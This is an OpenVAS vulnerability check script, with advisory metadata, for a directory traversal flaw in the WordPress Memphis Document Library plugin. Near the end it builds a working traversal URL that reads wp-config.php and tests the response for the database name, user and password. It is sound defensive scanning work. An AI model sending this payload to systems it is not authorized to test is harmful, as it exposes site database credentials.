WordPress Memphis Document Library Plugin Directory Traversal Vulnerability

2016-04-01T00:00:00
ID OPENVAS:1361412562310807530
Type openvas
Reporter Copyright (C) 2016 Greenbone Networks GmbH
Modified 2020-02-26T00:00:00

Description

This host is installed with WordPress Memphis Document Library plugin and is prone to directory traversal vulnerability.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
#
# WordPress Memphis Document Library Plugin Directory Traversal Vulnerability
#
# Authors:
# Rinu Kuriakose <krinu@secpod.com>
#
# Copyright:
# Copyright (C) 2016 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.807530");
  script_version("2020-02-26T12:57:19+0000");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"2020-02-26 12:57:19 +0000 (Wed, 26 Feb 2020)");
  script_tag(name:"creation_date", value:"2016-04-01 13:19:34 +0530 (Fri, 01 Apr 2016)");
  script_name("WordPress Memphis Document Library Plugin Directory Traversal Vulnerability");

  script_tag(name:"summary", value:"This host is installed with WordPress
  Memphis Document Library plugin and is prone to directory traversal vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request
  and check whether it is able to read arbitrary files or not.");

  script_tag(name:"insight", value:"Flaw is due to the function
  'mdocs_img_preview' in 'memphis-documents-library/mdocs-downloads.php' script
  does not properly validate GET parameter 'mdocs-img-preview'.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to download arbitrary files.");

  script_tag(name:"affected", value:"WordPress Plugin Memphis Document Library
  versions 2.3 to 3.1.5");

  script_tag(name:"solution", value:"Update to WordPress Plugin Memphis Document Library 3.1.6.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/39593");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2016 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("secpod_wordpress_detect_900182.nasl");
  script_mandatory_keys("wordpress/installed");
  script_require_ports("Services/www", 80);
  script_xref(name:"URL", value:"https://wordpress.org/plugins/memphis-documents-library");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!http_port = get_app_port(cpe:CPE)){
  exit(0);
}

if(!dir = get_app_location(cpe:CPE, port:http_port)){
  exit(0);
}

url = dir + '/mdocs-posts/?mdocs-img-preview=../../../wp-config.php';

if(http_vuln_check(port:http_port, url:url, check_header:TRUE,
  pattern:"DB_NAME", extra_check:make_list("DB_USER", "DB_PASSWORD")))
{
  report = report_vuln_url( port:http_port, url:url );
  security_message(port:http_port, data:report);
  exit(0);
}